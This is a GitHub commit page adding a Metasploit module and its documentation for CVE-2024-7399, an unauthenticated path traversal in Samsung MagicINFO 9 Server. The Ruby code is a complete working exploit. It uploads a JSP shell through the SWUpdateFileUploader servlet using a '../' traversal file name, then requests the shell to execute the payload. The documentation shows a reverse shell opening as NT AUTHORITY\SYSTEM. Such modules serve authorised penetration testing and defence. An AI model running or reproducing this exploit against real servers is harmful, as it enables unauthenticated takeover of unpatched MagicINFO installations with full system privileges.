Skip to content

Commit 561eef9

Browse files
authored
Land rapid7#20188, adds module for CVE-2024-7399 Samsung MagicINFO 9 Server
Samsung MagicINFO 9 Server RCE (CVE-2024-7399) Module
2 parents eb850f3 + 647545c commit 561eef9

File tree

2 files changed

+192
-0
lines changed

2 files changed

+192
-0
lines changed
Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
## Vulnerable Application
2+
3+
**Vulnerability Description**
4+
5+
This module exploits a path traversal vulnerability in Samsung MagicINFO 9 <= 21.1050.0 (CVE-2024-7399).
6+
7+
Remote code execution can be obtained by exploiting the path traversal vulnerability (CVE-2024-7399) in the SWUpdateFileUploader servlet,
8+
which can be queried by an unauthenticated user to upload a JSP shell.
9+
By default, the application listens on TCP ports 7001 (HTTP) and 7002 (HTTPS) on all network interfaces and runs in the context of NT
10+
AUTHORITY\SYSTEM.
11+
12+
**Vulnerable Application Installation**
13+
14+
A trial version of the software can be obtained from [the vendor]
15+
(https://www.samsung.com/us/business/solutions/digital-signage-solutions/magicinfo/).
16+
17+
**Successfully tested on**
18+
19+
- MagicINFO 9 21.1040.2 on Windows 10 (22H2)
20+
21+
## Verification Steps
22+
23+
1. Install Postgres or MySQL
24+
2. Install the application
25+
3. Activate the license
26+
4. Start `msfconsole` and run the following commands:
27+
28+
```
29+
msf6 > use exploit/windows/http/magicinfo_traversal
30+
msf6 exploit(windows/http/magicinfo_traversal) > set RHOSTS <IP>
31+
msf6 exploit(windows/http/magicinfo_traversal) > exploit
32+
```
33+
34+
You should get a shell in the context of `NY AUTHORITY\SYSTEM`.
35+
36+
## Options
37+
38+
### DEPTH
39+
The traversal depth. The FILE path will be prepended with ../ * DEPTH.
40+
41+
## Scenarios
42+
43+
Running the exploit against MagicINFO 9 21.1040.2 on Windows 10 should result in an output similar to the
44+
following:
45+
46+
```
47+
msf6 exploit(windows/http/magicinfo_traversal) > exploit
48+
49+
[*] Started reverse TCP handler on 192.168.137.204:4444
50+
[*] Running automatic check ("set AutoCheck false" to disable)
51+
[*] MagicINFO version detected: MagicINFO 9 Server 21.1040.2
52+
[+] The target appears to be vulnerable.
53+
[*] Uploading payload...
54+
[*] Upload successful
55+
[*] Payload executed!
56+
[*] Command shell session 3 opened (192.168.137.204:4444 -> 192.168.137.230:50038) at 2025-05-14 17:36:47 -0400
57+
58+
59+
Shell Banner:
60+
Microsoft Windows [Version 10.0.19045.3208]
61+
(c) Microsoft Corporation. All rights reserved.
62+
63+
C:\MagicInfo Premium\tomcat\bin>
64+
-----
65+
66+
67+
C:\MagicInfo Premium\tomcat\bin>whoami
68+
whoami
69+
nt authority\system
70+
71+
C:\MagicInfo Premium\tomcat\bin>
72+
```
Lines changed: 120 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,120 @@
1+
class MetasploitModule < Msf::Exploit::Remote
2+
Rank = ExcellentRanking
3+
include Msf::Exploit::Remote::HttpClient
4+
include Msf::Exploit::FileDropper
5+
prepend Msf::Exploit::Remote::AutoCheck
6+
7+
def initialize(info = {})
8+
super(
9+
update_info(
10+
info,
11+
'Name' => 'Samsung MagicINFO 9 Server Remote Code Execution (CVE-2024-7399)',
12+
'Description' => %q{
13+
Remote Code Execution in Samsung MagicINFO 9 Server <= 21.1050.0.
14+
Remote code execution can be obtained by exploiting the path traversal vulnerability (CVE-2024-7399) in the SWUpdateFileUploader servlet,
15+
which can be queried by an unauthenticated user to upload a JSP shell.
16+
By default, the application listens on TCP ports 7001 (HTTP) and 7002 (HTTPS) on all network interfaces and runs in the context of NT AUTHORITY\SYSTEM.
17+
},
18+
'License' => MSF_LICENSE,
19+
'Author' => [
20+
'Michael Heinzl', # MSF Module
21+
'SSD Secure Disclosure' # Discovery and PoC
22+
],
23+
'References' => [
24+
['URL', 'https://ssd-disclosure.com/ssd-advisory-samsung-magicinfo-unauthenticated-rce/'],
25+
['URL', 'https://security.samsungtv.com/securityUpdates'],
26+
['CVE', '2024-7399'] # SVE-2024-50018
27+
],
28+
'DisclosureDate' => '2025-04-30',
29+
'DefaultOptions' => {
30+
'RPORT' => 7002,
31+
'SSL' => 'True'
32+
},
33+
'Platform' => [ 'windows' ],
34+
'Arch' => [ ARCH_CMD ],
35+
'Targets' => [
36+
[
37+
'Java Server Page', {
38+
'Platform' => %w[win],
39+
'Arch' => ARCH_JAVA
40+
}
41+
]
42+
],
43+
'DefaultTarget' => 0,
44+
'Privileged' => true,
45+
'Notes' => {
46+
'Stability' => [CRASH_SAFE],
47+
'Reliability' => [REPEATABLE_SESSION],
48+
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
49+
}
50+
)
51+
)
52+
53+
register_options(
54+
[
55+
OptString.new('TARGETURI', [true, 'The URI for the MagicInfo web interface', '/MagicInfo']),
56+
OptInt.new('DEPTH', [true, 'The traversal depth. The FILE path will be prepended with ../ * DEPTH', 6])
57+
]
58+
)
59+
end
60+
61+
def check
62+
res = send_request_cgi({
63+
'method' => 'GET',
64+
'uri' => normalize_uri(target_uri.path, 'config.js')
65+
})
66+
67+
return CheckCode::Unknown unless res&.code == 200
68+
69+
js_object = res.body.to_s[/window\.globalConfig = (\{.+\})/m, 1]
70+
71+
return CheckCode::Safe('Could not extract globalConfig object from response.') unless js_object
72+
73+
json_b = js_object.gsub(/'/, '"') # replace ' with " so that we can use JSON.parse on the response body
74+
data = JSON.parse(json_b)
75+
76+
full_version = data.fetch('magicInfoFrontEndVersion', nil)
77+
version = full_version[/Server\s+([\d.]+)/, 1]
78+
79+
return CheckCode::Unknown unless version
80+
81+
unless Rex::Version.new(version) > Rex::Version.new('21.1050.0')
82+
vprint_status("MagicINFO version detected: #{full_version}")
83+
return CheckCode::Appears
84+
end
85+
86+
return CheckCode::Safe
87+
end
88+
89+
def exploit
90+
execute_command(payload.encoded)
91+
end
92+
93+
def execute_command(cmd)
94+
print_status('Uploading shell...')
95+
96+
shell = Rex::Text.rand_text_alpha(8..12)
97+
traversal = '../' * datastore['DEPTH']
98+
99+
res = send_request_cgi({
100+
'method' => 'POST',
101+
'ctype' => 'text/plain',
102+
'data' => cmd,
103+
'uri' => normalize_uri(target_uri.path, 'servlet', "SWUpdateFileUploader?fileName=./#{traversal}server/#{shell}.jsp")
104+
})
105+
106+
if res&.code == 200
107+
print_good('Upload successful.')
108+
res1 = send_request_cgi({
109+
'uri' => normalize_uri(target_uri.path, "#{shell}.jsp"),
110+
'method' => 'GET'
111+
})
112+
113+
fail_with(Failure::PayloadFailed, 'Failed to execute the payload.') unless res1&.code == 200
114+
print_status('Payload executed!')
115+
116+
else
117+
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload.')
118+
end
119+
end
120+
end

0 commit comments

Comments
 (0)